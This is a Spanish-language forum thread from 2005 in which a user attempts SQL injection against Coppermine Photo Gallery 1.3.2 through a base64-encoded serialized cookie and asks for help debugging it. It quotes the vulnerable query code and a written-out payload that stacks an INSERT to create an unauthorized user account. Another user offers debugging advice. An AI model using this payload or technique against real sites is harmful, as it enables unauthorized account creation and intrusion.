Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: jujaLVP en 8 Junio 2005, 02:13 am



Título: SQL injection complicada
Publicado por: jujaLVP en 8 Junio 2005, 02:13 am
hola gente: estoy intentando explotar una Vulnerabilidad de SQL injection en CPG 1.3.2 que es bastante dificil, ya que el codigo sql se coloca en una cookie codificada en base64 y dentro de una estrictura formada con la funcuion php "serialize" que sirve para guardar datos y sus tipos,Les muestro el codigo del Query:

Citar
if (count($FAVPICS)>0){
        $favs = implode(",",$FAVPICS);

        $select_columns = 'filepath,filename';

        $result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");
        $rowset = db_fetch_rowset($result);
        foreach ($rowset as $key => $row){

                $filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];

        }

$FAVPICS es un arreglo que contiene numeros de id de imagenes,y se extrae drectamente de las cookies sin chequeo alguno.osea que en $favs es donde estara nuestro codigo de injeccion.

En los datos de la cookie coloque esto:

a:1:{i:0;s:282:";INSERT INTO cpg132_users (user_regdate,user_active, user_actkey, user_name,user_password, user_email, user_location,user_interests, user_website, user_occupation)VALUES ('0000-00-00 00:00:00', '', '','nombreusuario', 'pass', 'email@dominio.com', '','', '', '' );#";}

lo probe en mi servidor mysql y no me tira error alguno, funciona, pero cuando pongo esto en la cookie(codificado en base64) me dice la pagina que hay un error el procesar el query.


laguna sugerencia¿?

saludos


Título: Re: SQL injection complicada
Publicado por: Morris en 8 Junio 2005, 05:24 am
Porque no le das un echo antes de ejecutar el query y nos muestras que es lo que estás tratando de insertar desde la cookie ?


Título: Re: SQL injection complicada
Publicado por: jujaLVP en 9 Junio 2005, 01:29 am
el query final quedaria asi:

Código:
SELECT filepath,filename  FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN (;INSERT INTO cpg132_users (user_regdate,user_active, user_actkey, user_name,user_password, user_email, user_location,user_interests, user_website, user_occupation)VALUES ('0000-00-00 00:00:00', '', '','nombreusuario', 'pass', 'email@dominio.com', '','', '', '' );#)


{$CONFIG['TABLE_PICTURES']}: es el nombre de la tabla pictures"

y aca esta la pantalla del error que me tira

(http://img8.echo.cx/img8/6234/errorsql6cv.th.jpg) (http://img8.echo.cx/my.php?image=errorsql6cv.jpg)


saludos


Título: Re: SQL injection complicada
Publicado por: Morris en 9 Junio 2005, 06:18 am
Bueno lo que yo hago cuando programo sería algo así... Haz lo mismo pero con PHP, no se la sintaxis pero la idea es:

sql = "select * from tabla"
response.write sql
response.end
conn.execute(sql)

De esta forma no se realiza el query, pero te imprime en pantalla la información que estás enviando, te remplaza las variables... es probable que algo con la codificacion esté tronando. No soy un experto en esto, pero según veo todavia tienes unas variables por ahí

$CONFIG['TABLE_PICTURES']}

Espero explicarme.

Salu2


Título: Re: SQL injection complicada
Publicado por: jujaLVP en 10 Junio 2005, 01:22 am
he notado que coppermine utiliza variables tipo "$CONFIG['TABLE_PICTURES']} "para referirse a las tabals en la base de datos, quizas mi codigo no tenga efecto porque yo estoy usando el nombre "default" de las tablas .
alguien sabe como puedo obtener el nombre de la tabla sabiendo que no muestra eeror alguno para guiarme...?¿


saludos